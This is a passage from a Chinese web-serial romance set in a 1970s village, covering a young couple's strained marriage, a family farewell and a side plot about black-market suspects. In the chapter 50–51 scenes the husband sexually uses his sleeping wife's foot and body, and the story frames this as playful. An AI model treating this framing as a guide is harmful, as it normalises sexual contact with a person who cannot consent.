余银睁开眼一愣,有些不明所以。 就见男人视线突然垂下,笑的有些勾人,放在她臉上的手顺着就往下。 手掌停留在她心口处,摸了两把才抽出手。 他那副模样,活脱脱一个轻佻的浪荡公子。却因他的表情收放自如,又长了副清隽端正模样,一本正经的要死。 好像刚才那个人不是他似的。 “你睡吧。” 说完,人就退出蚊帐里,把蚊帐又掖好才往门口走去。 “不要脸。”余银小声嘟囔着骂道。 一下床就装的像个人一样,惯会装模作样一男人- 游雾州深吸了两口气,平静着体内翻涌的气息。 他低头看了眼,把灯又吹了,才拉开门,就直接对向了一根长长的竹竿。 游雾州顺着竹竿往那头看,竹竿另一头被一个男人拿着,旁边还站了一个男人。 正是余金和周华言。 握着竹竿的正是周华言,他就是用竹竿敲的门。 游雾州脸色顿时一黑,碍于余金在,又不好发作。 他走过去,看都没看周华言一眼,对着余金道:“大哥。” 余金“嗯”了一声,垂眸看了一眼竹竿,顿了顿道:“小魚儿被吵醒没?” 游雾州看了眼那竹竿,也庆幸是两个人还有些分寸,拿着竹竿隔得老远敲门。 他摇摇头,“没醒,又睡着了。” 这个时候肯定不能如实说,余银这个时候还没睡,不用猜都能想到两个人这会儿为啥没睡。 而且一说没睡,余金也会关心的问一句,这么晚咋了还不睡。 他才不想给人,会往下问而想到的事。 余金点点头,没说话。倒是周华言上下打量了他好几眼,意为不明的笑了下。 他对着游雾州问道:“你今天怎么进门的啊?我倆在大门等了你好久,都没见你回来?” 游雾州冷哼一声,道:“我回来的晚,你没看到也正常。” 他还好意思提,要不是他昨天逮着他脸招呼,也不至于那么晚才回家,还要早出晚归躲着人。 “是嗎?”周华言哼笑道:“你小子,该不会是怕见人,从后院翻牆进来的吧。” 他心里门清,也知道他是翻牆进屋的,还要问上这么一句,找游雾州不痛快。 游雾州掀眸看他一眼,扯了扯唇角,道:“誰讓我着脸着实不好解释呢,让人担心。” 周华言双手抱臂, 视线在他身上扫了一遍,一副不信的模样,“是嗎,怕是小魚儿瞧见你的脸,连疼不疼都没问上一句吧。” 他这话一出,游雾州回想了一下。 还真是没有一句关心傷势。 他那会没细想,此刻实在是心里有些不舒服。 他脸上看着其实挺严重的,但余银一句关系都没问过。 游雾州告诉自己,那会聊到其他话题了,余银又困的厉害。 不是余银不关心他,而是没来得及,家里也没藥酒,那会也那么晚,確实不方便折腾了。 毕竟余银都没睡,还等着自己回来呢。 周华言见他脸色变了又变,猜測到他那一句话就戳到了他的痛处,显然心情大好。 他搂向游雾州的肩膀轻拍两下,微微挑眉,“今小鱼儿见了哥这点傷,特意给我找了家里私藏的藥酒,明借你用用呗,毕竟你这傷的,确实看着有点严重啊。” 最后几个字,他是咬着牙加重了语气说的。 你这看着確实严重的伤,余银都不关心你,我这点小伤,人余银翻箱倒柜给我找私藏的药酒。 这就是周华言的言下之意。 他还“微啧”两声,看起来十分挑衅欠揍。 游雾州垂着的手掌,此刻握紧骨节发出“咔咔”声响。 周华言张口还要继续说的时候,余金给了他个冷眼,让他适可而止。 周华言已经完全把游雾州气到了,心里那叫一个痛快啊。 余金拍了拍游雾州肩膀,说道:“是有正事找你,我听到他们今晚会去黑市。” 游雾州道:“大哥你知道那两个人是誰了?” 余金点头,说道:“只確定了一个,今天刚好碰到他了,听出来他的声音了。” “是谁?”游雾州问。 “扬小暑。”余金道:“今天替阿舅去村长家问点事,正好碰到了他打了声招呼,就说了几句话。” 他今天也是特意替余阿舅跑这么一遭的,昨晚回来后,周华言跟他说了大概到哪个位置他们就没跟了。 余金对村子虽然这几年不在,但也因为村子里没改变太多,还算了解。 他心里有了大概,第二天起床,正好替余阿舅给村长带句话,也顺带着在那附近碰碰运气。 谁知道还真让他碰着了,遇上了准备正准备出去的扬小暑,打了声招呼后,余金就听出来了。 其实也有些不难懷疑,只是他昨晚不愿意去想,那倉房的门,不是被破坏开的,而是被用钥匙打开的。 有倉房钥匙的,除了看管仓房的柳瞎子的儿子,就是村长那了。 他说完是谁后,游雾州像是早已想到,脸上没有惊讶,倒是显然早猜到了。 游雾州昨晚跟到地方的时候,就心里有了懷疑,只是因为不确定,才一直没开口。 余金忍不住问他:“你昨晚回来路上怎么不说。” 游雾州无声叹息了一下,说道:“没有去确信,我也不能去随便怀疑。” “跟我藏着掖着就算了,跟余金也藏着掖。”周华言冷哼了一声,对着余金说:“这小子指定心里还知道另一个,他瞒着咱不说呢。” 余金看向游雾州,走近他,双手搭在他的肩膀上,语重心的说:“我想你清楚,公是公,私是私,你不是个公私不分之人。” “于私,我毕竟还是余银的大哥。” 这是给游雾州戴高帽,要是他不说,就代表他小心眼,记着余金对他的那档子事。 最后一句话还在给他警告,他还是余银大哥,在余银心里的位置还是很重要的,随时可以给他穿小鞋。 游雾州无奈的扯了一下嘴角,说道:“我也当您是余银大哥,把大哥当自己人的。” “不是我故意不说,而是我也不确定是不是,确实有个大概的猜測,但并没有发现她们和扬小暑有什么联系,所以就没说。” “她们?”余金问道。 “确实是还有两个人。”周华言补充道:“那倆人昨晚上吵起来说的,还有一个人。” “那个‘她’。” 他们昨晚提过不止一次的‘她’。 游雾州点头,他淡声道:“我也只是感觉,并没有实质性的猜测。” “没有,咱们这不是正准备去黑市看看有。”周华言道:“赶紧说怀疑对象。” “知青点的女同志江窈和柳大牛的大女儿柳盼娣。”游雾州看着周华言补充道:“那个江窈就是救了你的女同志,她的脚伤了走不了路,昨晚恰好那两个人说‘她’受伤了来不了。” “是她?”周华言看着余金,冷笑道:“我就说她没安好心救我,碍着人多我不好说,我一个部队里待了好几年的男人,能没有她一个弱女子敏锐?” 余金对江窈印象不深,就那晚推开差点被断枝砸到的周华言,而自己不小心扭到脚了,当时天太黑,也看不清她具体什么样。 只是看着有些瘦弱无力。 他对江窈印象不差,但也不好。 而游雾州口中说的柳盼娣,他是知道了解的,记忆里的柳招娣,说话声音极小,也不敢抬头看人。 能是昨晚骂扬小暑都不带喘气的人吗? 余金心里不禁有些怀疑,他还没再问一句,周华言就看出他的怀疑,搂着他的脖子往牆边走,“去看看就知道了。” 说完,对着游雾州挑眉道:“大晚上的翻墙没摔到吧,看今哥给你表演个标准的翻墙来。” 游雾州没搭理他,几乎是同时跟他翻墙出去落地的。 周华言饶有兴趣的打量他一眼,说道:“你明翻墙回来可小心些啊。” 游雾州听了这话,眉峰微微一拧。 看来他明天回来要小心了,这厮可能要使坏。 余金也利落的翻过来,淡淡看了他们俩一眼,说道:“行了,赶紧走吧。” 白天一天没怎么下雨,虽没出太阳,但温度却不低,于原本泥泞的路,经过一天的不低的温度闷着,路也好走了些。 夜风吹拂,月亮被藏于在黑云之下,三人隐匿在黑暗里,往村子外走。 刚出村子,游雾州,余金和周华言就同时默契的转身,看着黑夜里,某处似乎闪动的草。 冷声道:“出来吧,跟了这么久。” 第50章 第50章跟踪手段不高明 从他们刚在村子里往外走,就开始跟了。 那人跟踪的不太高明,但却因为極其熟悉村子,虽没有什么动静,但跟的太近了。 游雾州、余金和周華言都察覺到了,但都默契的没说,等到出了村子后,才准备看看到底是誰。 草丛又闪动了两下,一个身影缓缓走近他们。 余银慢吞吞地挪着脚步,走到他们面前。 “怎么是你?” “你怎么跟着过来了。” “你半夜一个人偷偷出来?” 余银一个一个的回答,对着周華言笑道:“不好意思了,就是我。” 她对游雾州挺胸抬头道:“我为什么不能跟?” 最后她对着余金,輕咳一声,“不算偷偷,也不算一个人,你们不是发现了吗。” 余金看她一眼,对着游雾州道:“你俩回家去,这事,我和周华言一起。” 又叮嘱余银:“以后晚上不准在一个人出来,外面不安全,赶紧和他回家去。” 余银悻悻地应了一声,也不敢问为什么他们晚上跑出来,往村子外走,也不知道要去哪。 又要做什么事。 她是困的不行了,但被游雾州弄醒后,困意就没那么重了。 也不知道誰会大半夜叫他,会不会是他要和江窈私会。 余银抱着这个想法,逐渐清醒,要是她先寻到游雾州的错處,那离婚就简单多了,家里人那关也好过。 她悄悄地穿上衣服,躲在门后,因为他们说话声音不大,余银也听不太清说了什么。 就一直等到了他们三个翻墙出去,余银才开了门,也偷 偷跟着出去。 谁知道游雾州是跟余金和周华言两个人一起的。 她也没了捉游雾州错處的心。 余银打了个哈欠,“我知道了。那我回去了。” 说完她转身就走了,游雾州也跟着她跟一起离开。 周华言和余金也继续朝着前走- 回家路上,余银也没问他们三个为什么半夜不睡覺,在外面做什么。 也不是她不想问,而是显然他们三个人实在避着行动。 她也没必要追着问。 余银路上了打了好几个哈欠,实在是一放松,困意就又立马起来了。 游雾州见她这模样,天又黑,和她说:“我背你回去吧,太黑了容易摔倒。” 余银也不想走了,但她有些纠結。 她也就纠結了两秒吧,就道:“待会我睡着了,到家别叫醒我。” 舒服与劳累之间,只要不是傻子,都知道该选什么。 她考虑那么多干什么,自己怎么舒服怎么来吧,余银想。 “嗯。”游雾州直接蹲下身子,余银也不客气扭捏,上前往他宽阔的脊背上一趴,双手从他的脖子上往下搭着。 完事后,她还没拍拍游雾州的肩膀,示意自己好了。 游雾州在感受到她攀上自己后,手从她的膝盖穿过托着她,缓缓起身,两个人配合默契又自然,像是極为熟练。 可实际上,游雾州这是第一次背她。 余银很輕,他往上托着掂了掂,固定好位置,说道:“你睡吧,到家了也不叫你,安心睡。” 虽然是第一次背余银,但游雾州走的很稳,讓人很安心。 余银趴到他背上不到两分钟,輕飘飘地平温呼吸声扫过他的耳廓,帶起心间一阵热流。 走时路时,可能因为余银的内心深處,还是很信任游雾州的,或是他给余银的感覺太过讓人安心。 余银的两条胳膊就那么垂下游雾州胸前,走路时晃晃嗒嗒地,时不时的敲动着游雾州跳动的心脏。 连帶着背后都能感受到,她心口处正往外散发的热度。 游雾州今晚第三次,不得不把绷紧的腰腹再次放松。 他第一次覺得,原来背着余银,感觉这么好。 他想讓路在走的久一点,可又不舍得余银睡在他的背上有些颠簸。 余银不知道自己是什么时候睡着的,她大概知道是在自己趴他背上,刚上去就睡着了。 她睡的倒挺好,游雾州这一觉睡的实在不踏实。 他一个血气方刚的小伙子,一连被勾起三次的情緒,都生生地自我压下去就算了。 可早上醒来的时候,男人身体是有本能的反应。 他迷糊醒来的时候,像是有什么东西把他给压住了,有种難以隐喻的痛感。 就像是芽苗快要冲破桎梏时,有什么正压着芽苗。 游雾州微微睁开眼,外面的天微微亮,比那两天的时更亮一些,看起来是要彻底放晴了。 所幸早上的温度不是很热,两个人贴着肉睡也不热。 他垂下眼眸,视线里,一条白生生的細腿,微蜷着横跨在他的腰身上。 余银整个人紧挨着他,她微蜷着的膝盖骨抵在他的胸膛上,腰腹往下,就是余银脚踩着的地方。 早上男人最直观反映起来,她的脚也不知道什么时候压过来的,可能是她的脚隔着一层极薄的布料。 觉得有些热了,她的脚压着往下拧了拧。 游雾州瞬间觉得又疼又涨,他呼吸微重,喉间溢出一记沉闷声响。 她的脚没什么重力,但却用力压着往下拧,那又是最娇气的地方。 同时也不甘示弱的要往上高高昂起头去。 余银的脚紧似乎感受到了反抗,接着就又要往下压着拧他警告。 游雾州心中顿时警铃大作,眼疾手快的抬起她的脚。 余银的脚不小,游雾州的手掌竟还要比她脚还大了些点,或许是脚下感觉不对,余银踢他手心一下。 这一下幸好没踢踢上原要踢的地方,游雾州想。 换原来的地方,要是挨这么一下,他估计要去医院看了。 这可是生命的权杖啊。 游雾州紧抿着唇盯着她,见她睡的还很熟,在心底默默叹了口气。 余银是半趴着睡的,微亮天色从窗户照进来,房间内也微微亮着,她的脸微微朝着他那邊,黑长浓密的眼睫微微垂下,那双極好看的眼睛被藏在里面。 往下是她那柔美的颈线,皮肤細白。游雾州的视线几乎不用刻意去找,早在头看向她的第一瞬间。 就早已注意到了,她因半趴着,而将細白的大片皮肤呈现在他肩膀旁。 主要那实在白的有些晃眼。 也是在让人心波荡漾。 他似乎也瞧见那一抹豔丽的紅珠了。 游雾州的眼眸幽深,喉结輕轻滚动,跟随着她让人荡漾的呼吸,他的反应也以些强烈。 握着她的脚在手里不自觉地把玩着。 两人过于相近的距离,只要他头在低一些,就能埋在那白的晃眼处,还能能近那闻到那散发的幽香。 他不断升温的气息蔓延,旖旎萦绕着余银。 游雾州的呼吸有些急促,他慢慢地低下头,直接攫取那晃眼的白中一抹豔紅。 他下颌往下帶着她的衣领,薄唇朝着她染紅的覆上去。 像狂风一样席卷,他的舌尖轻扬,那散发着幽香气息的艳红,将他内心的情緒无限放大。 他一寸一寸细细品尝,就好像是一样极其難得的美味,极其珍惜地不舍得吃,却又实在诱人。 只能一点点轻舔着,品尝着那美味佳肴的滋味。 而后,他突然一邊手把玩着她的脚尖,一边带着她的脚尖,领向差点踹到的那地方。 游雾州的那双半垂着的,极其认真做着的眼眸里,毫不掩饰地染满的复杂的情意。 他的神色端正清隽,若不是那双眼眸,此刻任谁也想象不到。 游雾州用余银的在什么地方放着,他自己又把脸搁在了哪里。 余银昨晚上睡得晚,这会儿睡的很香,游雾州的动作不大,甚至还有些轻柔,她并没有要苏醒的迹象。 只是睡梦中似乎觉得身上说不清,哪里有些痒痒的,她抬手想要挠两下。 却又挠不到位置,不满地哼唧了一声,也同时要翻过身去。 可她的脚还在游雾州手里,怎么能翻的过去。 余银只好又保持着原来有些难受的姿势,接着睡了。 游雾州见她这样,动作停了下来,他轻笑了声,带着灼热的气息,抬手帮她调整好睡觉的姿势。 他把被子都拥起成一团,垫在余银身旁,让她的脚更方便一些放着。 游雾州另一只手抚向她白皙的脸庞,细细摩挲着,动作十分缱绻。 只是他那逐渐染红的眸底,昭示着他正极其忍耐的克制。 他拉着余银的脚,缓缓向下去。 掌心握着她的脚轻轻往下滑了滑。 游雾州瞬间就僵住了,她脚带过去的地方,就像是莫名烧了起来。 那种极为难受的感觉自脊骨蜂拥至上,他的手不自觉地带着她的脚继续挤过去。 另一只手揽着余银,让她的头贴在自己胸口处。 余银的头调整了一下,嘴唇不小心碰到了他的心间处。 游雾州的脑袋瞬间空白了片刻,有什么别样的情绪悄然滋生。 下一刻,他揽着余银的脑袋,固定在某处,自己则微微颤云力寻找着她的嘴唇。 同时,握着她脚的手也没闲着。 游雾州头微微扬起,凸显的喉结上下滚盯着。 他微眯着一双眼眸,眉眼间尽显春意盎然。 握着她的那只手,逐渐移开那层薄薄的衣布,未褪下。 而是从腿边拿出生命的权杖来。 没有了衣服的阻拦,她的脚可以完全的放下去了。 游雾州的喉间越来越干涩,越来越口渴。 莹白的脚尖踩在一抹红粉上,来回拧动着,让那抹红粉颤栗着。 “你,你在干啥呢啊?”余银眼睛都没睁开,声音因为没睡醒有些含糊。 余银说话的同时,下意识舌尖朝上舔了下唇瓣上的唇珠。【你现在阅读的是 】 50-60 第51章 第51章游雾州是变态 余银顿时感覺到了他打了个哆嗦,接着唇内的唇珠颤栗了起来。 游雾州悦耳动人的嗓音讓人浮想联翩。 脚上似乎传来的不太对劲的东西。 余银迷迷糊糊睁开眼,往脚上看过去,她瞬间僵住,蹭的一下臉瞬间爆红。 “你,你,你……” 余银瞠目结舌,一时间不知道该说些什么好。 这男人。 怎么,怎么能在她睡覺的时候。 拿着她的脚,做,做那样的事。 脚,脚竟然也能那样吗?他也不覺得脏啊。 游雾州微红的臉却不知是因为什么,他神色坦然,闷声低笑一声,低头在他耳边道。 “我怎么了。” “你说你怎么了?”余银仰头看他,微颤着的手,指着自己的脚,说道:“我脚上的是什么?” 游雾州細細看了一番,在她耳边低声说了一句。 就见余银瞪大了眼睛,咬着下唇别过头去。 游雾州也跟她转过去,湊近她的下巴想要亲她。 被她推开,“走开。” 她脚上黏糊糊的放在他腰腹下。 余银又有些不满地抱怨道:“你快给我弄干净。” “哎呀,烦死了。” “游雾州。” “在呢。” 游雾州也不恼,一副心情很好的模样应她。 房间内幸好也有水,游雾州会习惯性的在最后打盆水端屋里去。 他先用用腿上的褲子给余银的脚擦了擦,又下床去湿了毛巾,给余银的脚里里外外擦的干干净净。 大早上被他那闹一通,余银也不想再睡了。 她看着那高大身影在蚊帐外,背对着她,他身上平日里被衣服盖着的地方,还要在白些,皮肤细腻光滑,看着一点都不像村里抢收过后,晒得黑乎乎的人。 坚实宽阔的后背,他的腰看着很细,往下那隔着褲子都能感受到,他那浑圆结实的臀部微微翘着。 尤其是他微微弯下腰时,那腰臀的曲线,和因为弯腰而紧绷着的一双长腿,肌肉线条漂亮,浑身上下都透露着刚硬有力。 余银从心底不否認,她对他这一身皮肉,是很满意的。 只是这人在自己的时候,用自己的做了不知道什么样的坏事。 讓她有些不知如何面对,也有些恼。 余银出神的望着游雾州的方向,一时间也忘记了收回视线。 “小鱼儿看什么呢。”游雾州笑吟吟的盯着她,手正放在自己的裤腰上,原是正准备脱的。 余银丝毫不慌,冷哼一声扭过头去,“有个甚可讓我看的,誰稀得看一样。” 蚊帐外传来悉悉索索的声音,像是他在脱裤子的声音。 “你不看看,怎么知道没有你想看的呢。”他逗着余银。 余银才不上他这当,往床上一趟,不搭理他了。 游雾州在柜子里拿着衣服穿好,又把余银的衣服给她放床头,誰知道余银没睡觉,直接就要穿着衣服起来。 他本想说让余银再睡会,但一对上余银的眼神,就摸了摸鼻子,心虚的站在那。 余银嗔怒的瞪着他,把衣服穿好坐在床边,准备下床的时候。 看见自己的脚时,臉又瞬间爆红,她抬脚就朝着游雾州踹过去,“不要臉。” 只可惜游雾州不但没躲,在她踹过来的时候,还上前一步迎着她。 游雾州握着余银的脚腕,手掌捏着她的脚摩挲了两下,又低头在她脚背上輕輕亲了一下。 脚背上突然带着着温热的触感,余银被他这样弄的,浑身起鸡皮疙瘩,抱着胳膊擞了两下。 “你是不是有点变态的毛病啊。”余银忍不住真诚发问。 她在心里忍不住回想了一下,觉得游雾州恐怕真是心里有点变态的毛病。 谁家正常人,拿着脚做坏事。 还有那更不可描述的,简直羞人。 当然她也不好意思问问别人家的,是不是跟她有类似的情况。 游雾州对上她那探究的眼神,嘴角忍不住一抽,心道余银还是有点儿可爱。 这不过是夫妻间的小情趣罢了,她把自己当作心里有点问题的变态了。 “其实我更喜欢你那样对我。”他紧紧盯着余银,薄唇輕启,在“你那样”三个字时,加重了语气强调。 余银一下就明白了他的说的什么意思,脑子嗡的一声,有点不敢相信。 她神色呐呐地看着游雾州,“你,你?你说什么?” 她那样对他? 那样? 游雾州没说话,只是盯着她的脚看了一眼,眼神暧昧,唇角的弧度微微上揚,握着她的脚又带着过去。 边对余银点头,丝毫不掩饰的说:“我喜欢你,这样,对我。” 他让余银自己用脚那样。 这一动作,让余银仅存的那丁点不敢相信,顿时消失殆尽。 虽然她知道,这男人在这种事上,有些过于不要脸了。 但是,她没想过,人还可以不要脸到有点变态。 他拽着自己的脚过去,还对自己点着头,让自己用脚那样弄他。 他真的有点… 不是有点,是好骚啊。 这个男人,太骚了。 余银愣在那里半响,她甚至有些埋怨自己,为什么早上要醒那么一下,为什么非要问他在干啥。 现在他这么直白的说,自己该怎么面对啊! 大早上的还。 她的脚还放在了,那软乎乎的,但只极短的两三秒,已经邦邦硬了。 天知道她现在多想在地上挖个洞,钻进去逃離。 明明是说他变态的,怎么就到这样的局面了。 余银轻咳一声,眼神飘忽,“你喜欢也不行啊,这不是正常人会做的。” “你怎么知道?”游雾州微眯着眼看她:“你怎么知道,那些夫妻之间没有的?” 她怎么知道,她也不知道。 但她感觉,脚怎么能用来? 余银微咬着唇,想跟他解释,也说不清,只好道:“可是,脚是用来走路的啊。” 游雾州手搭着她的小腿,人也跟着向上去,看着余银的眼神很无辜,脸離余银不过一拳距离。 “可是,我们……”后面的的话,他极小声的在湊近余银耳边说。 余银顿时被他,羞得都有些恼了。 她重重用力把人一推,穿上鞋,就急匆匆离开房间。 显然一副被羞到气急了的模样。 再在房间里待着,余银怕自己手招呼到游雾州脸上。 轮脸皮厚和不要脸,他游雾州赢了。 就没有比他再流氓不要脸的了。 太坏了! 游雾州看着余银离去的背影,有些失笑。 玩大了这次。 把人惹恼的不轻看来。 他搖了搖头,这才一点点,他试探地把自己真实的感受,告诉她。 人就已经这样了。 是他太心急了,这两天实在是因为余银和那个周医生,他有些不太冷静。 游雾州轻轻哂一下,去追着人哄去了- 一直到余金都要走的前一天,游雾州还没彻底哄好余银。 余金已经確定了那晚的人,就是揚小暑和柳盼娣。 两个人也就是村子里的人,但柳盼娣的给余金的印象,却变化了好多。 要不是柳盼 娣一直在村子里,他都要怀疑,是不是其他和柳盼娣一模一样的人。 余金对游雾州道:“柳盼娣还需要再观察观察,你有什么觉得异常的,随时给我写信。” 他还是对柳盼娣有所怀疑。一个人怎么能变化这么大,让他有些不能理解。 就算是因为差点被卖给老强子,那她口中许多从未听过的话,又是从何处得知。 这些都是疑问。 游雾州也知道他的存疑什么,点点头:“她的变化確实很大,但她也確实一直就在村子里的,这点确实很奇怪。” 周華言从前不認识柳盼娣,但他觉得这个柳盼娣,以前和他现在见到的,完完全全是两个人。 他想了想道:“她真的没可能,是有一个和她很像的人吗。” 余金搖摇头,跟他说:“村子里就这么些人,虽然她不怎么说话,但平时一直都要上工的,跟她一起干活的,再怎么样也不可能认不出来她。” 又补充道:“一个很像的人,那也是像而已,她现在就像是另一个柳盼娣一样。” “另一个柳盼娣一样。”游雾州摸着下巴,重複着这句话。 他脑子里似乎有什么一闪而过。 但由于闪的太快了,让他没有抓住。 可游雾州却突然想到了其他事,忍不州微蹙起眉。 周華言见他愣神,忍不住道:“你小子,不会又有什么想法,藏着掖着吧。” 从他确定扬小暑后,游雾州的不惊讶,倒问了他才说的怀疑,也被证实了。 余金就和周華言私下觉得,游雾州估摸着还有很多不好说的事,只是他们不逼问,这小子就不会说。 周華言拍了拍他的肩膀,对着余金挑眉道:“他很不老实啊。” 余金轻咳一声,对游雾州道:“你这两天跟小鱼儿在闹矛盾啊。” 游雾州顿时失笑一下,“饶过我吧,我没藏着掖着,就是想起来一回事。” “快说,快说。”周华言用肩膀拱了拱他的肩膀,催促他说道。 游雾州四下看了看,朝他俩招招手,示意他们凑近过来。 他小声的说到:“我不确定是不是柳盼娣,但我听到过说,高考就要恢複的事。” “你确定?”周华言拧着眉,脸色凝重。 余金也是一脸凝重地看着游雾州。 游雾州摇摇头,解释:“有一晚上,我在外面菜园摘菜,天太黑,我只知道是个女生,也是说了很多稀奇古怪的话,就有关于高考的这些事。” “我记得很清楚,但是不知道她说的是真是假,也许是乱说的。” 高考要恢复的话,他们不可能听不到消息,至少周华言不会没有一点消息。 余金看着周华言,周华言朝他摇摇头。 游雾州接着道:“她话里的意思,就这一两年的事,咱们不妨等等看,左右村里的人,没有证明,哪都去不了的。” 周华言点头,“你多留意一下,看他们一但要有开证明,去其他城市,就去县里给我们打电话。” 余金跟着点头,“这事不小,并且还不能向上面汇报,一旦有风吹草动,你多留意。” “好,我知道了。”游雾州轻咳一声,说道:“大哥,我和余银你看……” 第52章 第52章你和他还想过下去吗…… “看你们分开啊,那感情好啊。”周华言眯眼笑着有些惊喜地接道。 游雾州默了默,瞥他一眼没说话,将视线锁定余金。 余金不动声色转过臉,不与游雾州对上视线。 周华言自知好兄弟此刻需要解围,轻抬下巴,“小游,这两天哄不好小魚儿,你知道为啥不。” 果然,此话一出,游雾州立刻看向他。 但又碍于周华言那有些没个正经的性子,他微微扬眉,带着点挑衅眼神看了周华言一眼。 周华言见他默不作声,俨然一副,你继续说,我看你能说出什么来的派头,心里蹭的一下。 但又很快落下去了,这小子已经摸到点他性子了,就是故意这样的。 要不是他对余银有点感情,还真拿不到点他的错處和把柄来。 周华言那双漂亮的凤眸微眯,对着他扬起唇角,以一副过来人的口吻,“你没哄过人小魚儿吧,所以也不知道她需要什么。” 游雾州依旧没说话,但他也默认了周华言所说。他真的没哄过余银,两个人也没这样过。 他们两个连生气都不算,余银表面上看着,与以前并无不同,但两人私下来。 余银对他疏离了很多。 游雾州知道,余银疏离的根本,不是因为那天早上事。 但具体因为什么,他也不知道。 可能他大概猜到一点,但不愿意相信。 周华言清了清嗓子继续道:“我猜你估计也不会告訴我原因,但是吧,你这几天应该尝试过,是在发生了什么事后,她才开始的。” “但是依旧没有一点效果吧。” 游雾州掀眸看他一眼,跟他玩文字游戏呢。 周华言这几天,通过不断惹怒游雾州,也大概摸透点他的性子,能知道他此时有些不悦。 “你懂什么,我这不先把前因告訴你一下啊。”周华言抬着头道:“真是年紀小,经不住事,心性也着急,不是个稳重的啊。” 说完,他朝余金递个眼神告状。 游雾州冷哼一声,对着余金说,“我先回屋去了,大哥。” 说完,看都不看周华言一眼就离开了。 他是被这事担心过头来了,竟然真以为周华言会这么好心帮他。 听他那一番话,真是听了一番话啊。 看着游雾州离开的背影,余金问周华言,“你真有办法嗎?” 他原本不知道余银和游雾州在生气,还是周华言告诉他的,刚才试探,竟然还真是的。 余金倒也不是想帮游雾州,只是不想看着他妹妹生气,这男人连哄都找不到点哄。 周华言眼神淡淡的看着余金说:“你们兄妹倆,生气都一个模样,你说呢。” 余金:“……”- 余金和周华言还要回去周华锦家一趟,所以他明天就要去縣城,到时候直接从縣城就走了。 余阿娘和余银此时都在余金的屋子里,周华言也知道他们有话说,很有眼色的出去逗游雾州去了。 余阿娘就坐那时不时的,看一眼余金,一想到他明天就走了,眼眶便红了。 她抹了把眼角,站起来拍了拍余金的肩膀,“你这次回来,娘都还没好好看过你呢。” “壮实了不少。”她摸着余金的肩膀道。 余金抿了抿唇,不知道说些什么。 “娘也没啥别的想法。”余阿娘说:“回回讓你相親都推三阻四的,娘就是想讓你找个伴,女娃娃到底比你个大老爷们细心,能照顾你。” “我自己能照顾好自己。”余金低声道。 余阿娘撇嘴道:“你都瘦了,还说能照顾自己呢。” 余银嘴角一抽,刚还说壮实了,这就又瘦了? 她上前挽着余阿娘去重新坐下,对着她道:“娘,哥他又不傻,你老催他幹啥。” 余阿娘侧过去看余银,手指在她头上没忍住点了一下,“你倒是上嘴皮子下嘴皮子一碰,说着风凉话,他再过两年都三十了,到时候还怎么说个好媳妇。” “人家跟他一样大的,孩子都上小说了,再不济,穷的跟杨大福家那样的,人杨大福也要当爹了,你看你哥,对象没个对象,相親也不去。我再不催他,指望他自己,那讓他打一辈子光棍啊?” 余银回道:“結婚有啥好的,就非得讓哥結婚,万一他娶了个厉害的,把咱倆趕出去咋办啊?” “趕出去就赶出去了。”余阿娘说:“她就骑我头上又能怎样,只要他能娶来媳妇。” “你也少给我说结婚没啥好處,人小游对你掏心掏肺,你在背后怎么能说这样的话,我可没教你做个忘恩负义的,你少拿你那滑头性子,把人小游哄骗了,又在那結婚没啥好處的。” 余阿娘越说越来劲,完全把火力转到余银身上,继续输出着:“你当我是个眼瞎心盲的啊,你跟小游結婚后,除了你自己要下地挣工分,还幹过其他的活嗎,你洗过衣服,端过 水没。都是我给你惯的了,在家不干活就算了,结了婚,你男人愿意给你做就算了,你背地还敢给我来一句结婚没什么好处。” “余银啊,做人不能太没良心了,人不嫌倒霉还给你洗那衣服,你放眼咱整个村子,再往外扩大点,整个县,有几个老爷们,能做到小游这份上的啊。” 余银被余阿娘数落的一无是处,她很想反驳,但确实都是事实,也沾了点她故意的成分。 她就是这样又要又不要的。 既不想跟游雾州有太多牵扯,可这几天还是让游雾州给她洗着衣服,端着洗澡水,收拾着屋子里的卫生。 余阿娘见她低眉垂着头,拉着她的手轻轻拍了拍,语重心长的说:“余银啊,我说句难听话,小游这样的人,要不是家里成分有点问题来咱这下乡,你是真难找得着他啊,咱知足点吧。” 余银心里乱乱的,对余阿娘老夸游雾州有些不满,“娘,我在你那就是一无是处,还配不上游雾州吗。” 余阿娘恨铁不成钢的看了她一眼,压低声音,说了句:“老娘都是为你,越夸他越知道你不是那样的人。” 她接着声音正常音量道:“娘知道你俩年紀都小,很多事都不明白。你们是要过一辈子的,两个人过日子也要好好经营的。不能只有人家小游付出太多,你也心疼你男人,娘知道,娘就是告诉你,你待说出来做出来,让小游看到你的体贴和心疼。” 她身为余银母亲,也是游雾州丈母娘,自然是更心疼余银了。 她只能对游雾州好点,再好点,是想让游雾州能对余银好。 不管游雾州能不能听见,她那话虽然是说给余银听的,但也是说给游雾州听的,让他知道,就算是私下里。 余银有哪里不对,她会去管教的。余银年纪小不懂事,也希望他能见谅一下,余银很多事其实是不会表达而已。 那些话,听下来,看似是在说余银,其实也是说余阿娘给她教好,错都在余阿娘身上。 余银这时也明白了余阿娘的良苦用心,她以前怎么不明白,还怨游雾州会哄人,把家里人都哄的团团转。 但其实他们都是因为余银,也都是为了余银而已。 余银眼红红的点头,嗫嚅的开口:“我知道了娘。” 余阿娘叹了口气,说:“夫妻最好别有隔夜仇,余银啊,这几天鬧鬧性子也差不多了,再给你台階就下了吧。” 余银一臉无辜道:“我没闹性子啊,下什么台階啊。” 余阿娘轻嗤一笑,“也是,除了你自己,也就你娘我能看出来了。” “看出来什么?”余银不解。 “你是我生的,我能不了解你?”余阿娘笑道:“少给我打哑迷啊,你这两天,小游再给你台阶就下了吧,闹的太久会惹人厌烦的。” 余银撇嘴,想问余阿娘咋看出来的,她明明还和以前一样的啊,都没甩过脸子的。 就听到余阿娘道:“你跟你哥都是这样的生气,平时你甩个脸子那是耍小性子,一但现在这样,就是你们心里不舒服了。” “埃,你们心里不舒服,也就非得让别人心里也不舒服,但又不说,装个跟没事人一样一样的。” 余银鼓了鼓脸,看向余金。余金倒也不完全是余阿娘说的那样,但他也差不多了。 “听到没有。”余阿娘叮嘱完她,又把火力对向余金,“儿啊,你是心里有属的姑娘还是怎么个事啊,要是真有属意的你就是说啊,哪怕是彩礼要的再高,咱们家也会帮着给你弄来的。” 余金摇摇头,思索片刻,道:“娘,我现在不稳定,不想结婚。” “你这还不稳定啊,儿。”余阿娘睁大眼睛,“你都不知道,多少好姑娘想给你啊,咱先别立业了,咱先成家了,让娘也抱抱孙子吧。” 余金抿着唇,“我一见到头来回家不了几天,找个姑娘结婚,不是耽误人家吗,还是算了吧。” 